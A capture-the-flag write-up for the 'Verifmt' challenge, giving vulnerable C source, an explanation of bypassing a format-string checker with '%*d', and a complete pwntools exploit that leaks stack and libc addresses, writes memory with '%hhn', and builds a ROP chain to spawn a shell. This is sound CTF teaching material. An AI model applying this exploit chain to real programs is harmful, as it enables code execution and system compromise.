ctf-writeups

Verifmt

Co-authors: @Tplus @Rosayxy

Attachment:

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify_fmt(const char *fmt, size_t n_args) {
  size_t argcnt = 0;
  size_t len = strlen(fmt);

  for (size_t i = 0; i < len; i++) {
    if (fmt[i] == '%') {
      if (fmt[i+1] == '%') {
        i++;
        continue;
      }

      if (isdigit(fmt[i+1])) {
        puts("[-] Positional argument not supported");
        return 1;
      }

      if (argcnt >= n_args) {
        printf("[-] Cannot use more than %lu specifiers\n", n_args);
        return 1;
      }

      argcnt++;
    }
  }

  return 0;
}

int main() {
  size_t n_args;
  long args[4];
  char fmt[256];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    /* Get arguments */
    printf("# of args: ");
    if (scanf("%lu", &n_args) != 1) {
      return 1;
    }

    if (n_args > 4) {
      puts("[-] Maximum of 4 arguments supported");
      continue;
    }

    memset(args, 0, sizeof(args));
    for (size_t i = 0; i < n_args; i++) {
      printf("args[%lu]: ", i);
      if (scanf("%ld", args + i) != 1) {
        return 1;
      }
    }

    /* Get format string */
    while (getchar() != '\n');
    printf("Format string: ");
    if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
      return 1;
    }

    /* Verify format string */
    if (verify_fmt(fmt, n_args)) {
      continue;
    }

    /* Enjoy! */
    printf(fmt, args[0], args[1], args[2], args[3]);
  }

  return 0;
}

We can pass format string to the checker: it limits format string to four % and passes at most four arguments. However, we can eat more than one argument using %*d: the first argument is the width, the second argument is the actual value (suggested by @Tplus).

Therefore, we can dump eight parameters, leaking the stack address:

# of args: 4
args[0]: 10
args[1]: 10
args[2]: 10
args[3]: 10
Format string: %*d%*d%*d%p
        10        1000x7fffe81306d8

To leak libc address, we can use %s and pass the stack address via args[i] to read libc address on the stack. After that, we can use the typical %n to write data into stack and do ROP.

Attack script by @Rosayxy:

from pwn import *
context(os='linux',log_level='debug')
p = process("./chall")
libc = ELF("./libc.so.6")
p.recvuntil("# of args: ")
p.sendline("4")

p.recvuntil("args[0]: ")
p.sendline("7")
p.recvuntil("args[1]: ")
p.sendline("7")
p.recvuntil("args[2]: ")
p.sendline("7")
p.recvuntil("args[3]: ")
p.sendline("7")
p.recvuntil("Format string: ")
p.sendline("%*d%*d%*d%p")

p.recvuntil("0x")
stack_leak = int(p.recvline().strip(),16)
log.success("stack_leak: " + hex(stack_leak))


ret_addr = stack_leak + 0x170
p.recvuntil("# of args: ")
p.sendline("1")
p.recvuntil("args[0]: ")
p.sendline(str(ret_addr))
p.recvuntil("Format string: ")
p.sendline("%s")
libc_leak = u64(p.recv(6).ljust(8,b"\x00"))
log.success("libc_leak: " + hex(libc_leak))

libc_base = libc_leak - 0x2a1ca
log.info("libc_base: " + hex(libc_base))

pop_rdi_ret = 0x0010f78b + libc_base
bin_shell = next(libc.search(b"/bin/sh")) + libc_base
system = libc.sym["system"] + libc_base

def arbwrite(val, addr):
    p.recvuntil("# of args: ")
    p.sendline("3")
    p.recvuntil("args[0]: ")
    if val == 0:
        val = 0x100
    p.sendline(str(val))
    p.recvuntil("args[1]: ")
    p.sendline("49")
    p.recvuntil("args[2]: ")
    p.sendline(str(addr))
    p.recvuntil("Format string: ")
    p.sendline("%*c%hhn")

ret = pop_rdi_ret + 1
payload = p64(pop_rdi_ret) + p64(bin_shell) + p64(ret) + p64(system)
for i in range(len(payload)):
    arbwrite(payload[i], ret_addr + i)


p.recvuntil("# of args: ")
p.sendline("%")
p.interactive()